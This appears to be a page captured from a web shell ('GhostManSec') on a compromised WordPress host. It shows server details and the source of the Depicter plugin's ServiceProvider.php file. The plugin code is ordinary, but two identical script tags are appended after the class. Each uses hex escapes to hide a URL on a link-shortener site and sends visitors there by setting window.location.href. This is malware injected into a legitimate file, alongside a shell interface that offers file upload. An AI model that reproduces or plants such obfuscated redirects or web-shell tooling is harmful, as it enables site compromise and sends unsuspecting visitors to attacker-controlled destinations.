GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/ve.anqa.it/wp-content/plugins/depicter/app/src/Services/ServiceProvider.php
<?php
namespace Depicter\Services;

use Averta\WordPress\Cache\DatabaseCache;
use Averta\WordPress\Cache\WPCache;
use WPEmerge\ServiceProviders\ServiceProviderInterface;

/**
 * initialize common services
 */
class ServiceProvider implements ServiceProviderInterface
{

	/**
	 * {@inheritDoc}
	 */
	public function register( $container ) {
		$app = $container[ WPEMERGE_APPLICATION_KEY ];

		// register Cache modules
		$container[ 'depicter.services.cache.base' ] = function () {
			return new WPCache('depicter__');
		};

		$container[ 'depicter.services.cache.api' ] = function () {
			return new WPCache('depicter_api_');
		};

		$container[ 'depicter.services.cache.document' ] = function () {
			return new DatabaseCache('depicter_doc_id_');
		};
		// persistent database cache module
		$container[ 'depicter.services.cache.database' ] = function () {
			return new DatabaseCache('depicter_d_');
		};

		// register cache alias for retrieving a cache module
		$app->alias( 'cache', function () use ( $app ) {
			$module = !empty( func_get_args()['0'] ) ? strtolower( func_get_args()['0'] ) : 'api';
			return $app->resolve( 'depicter.services.cache.' . $module );
		});

		$container[ 'depicter.media.library' ] = function () {
			return new MediaLibraryService();
		};
		$app->alias( 'mediaLibrary', 'depicter.media.library' );

		$container[ 'depicter.media.bridge' ] = function () {
			return new MediaBridge();
		};
		$app->alias( 'media', 'depicter.media.bridge' );

		$container[ 'depicter.services.document.fonts' ] = function () {
			return new DocumentFontsV1Service();
		};
		$app->alias( 'documentFonts', 'depicter.services.document.fonts' );

		$container[ 'depicter.services.google.fonts' ] = function () {
			return new GoogleFontsService();
		};
		$app->alias( 'googleFontsService', 'depicter.services.google.fonts' );

		$container[ 'depicter.services.remote.api' ] = function () {
			return new RemoteAPIService();
		};
		$app->alias( 'remote', 'depicter.services.remote.api' );

		$container[ 'depicter.services.storage.disk' ] = function () {
			return new StorageService();
		};
		$app->alias( 'storage', 'depicter.services.storage.disk' );

		$container[ 'depicter.export.service' ] = function () {
			return new ExportService();
		};
		$app->alias( 'exportService', 'depicter.export.service' );

		$container[ 'depicter.import.service' ] = function () {
			return new ImportService();
		};
		$app->alias( 'importService', 'depicter.import.service' );

		$container[ 'depicter.security.authorization' ] = function () {
			return new AuthorizationService();
		};
		$app->alias( 'authorization', 'depicter.security.authorization' );

		$container[ 'depicter.security.authentication' ] = function () {
			return new AuthenticationService();
		};
		$app->alias( 'auth', 'depicter.security.authentication' );

		$container[ 'depicter.ai.wizard.service' ] = function () {
			return new AIWizardService();
		};
		$app->alias( 'AIWizard', 'depicter.ai.wizard.service' );

		$container[ 'depicter.geo.locate.service' ] = function () {
			return new GeoLocateService();
		};
		$app->alias( 'geoLocate', 'depicter.geo.locate.service' );

		$container[ 'depicter.lead.service' ] = function () {
			return new LeadService();
		};
		$app->alias( 'lead', 'depicter.lead.service' );

		$container[ 'depicter.google.recaptcha' ] = function () {
			return new GoogleRecaptchaV3();
		};
		$app->alias( 'recaptcha', 'depicter.google.recaptcha' );

		$container[ 'depicter.usage.service' ] = function () {
			return new UsageService();
		};
		$app->alias( 'usageService', 'depicter.usage.service' );

        $container[ 'depicter.background.removal' ] = function () {
            return new BackgroundRemovalService();
        };
        $app->alias( 'backgroundRemoval', 'depicter.background.removal' );

        $container[ 'depicter.settings.manager' ] = function () {
            return new SettingsManagerService();
        };
        $app->alias( 'settings', 'depicter.settings.manager' );

        $container['depicter.queue.service' ] = function () {
            return new QueueService();
        };
        $app->alias( 'queue', 'depicter.queue.service' );
	}

	/**
	 * {@inheritDoc}
	 */
	public function bootstrap( $container ) {
		if ( is_admin() ) {
			\Depicter::resolve('depicter.services.deactivation.feedback');
		}

        \Depicter::queue();
	}

}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>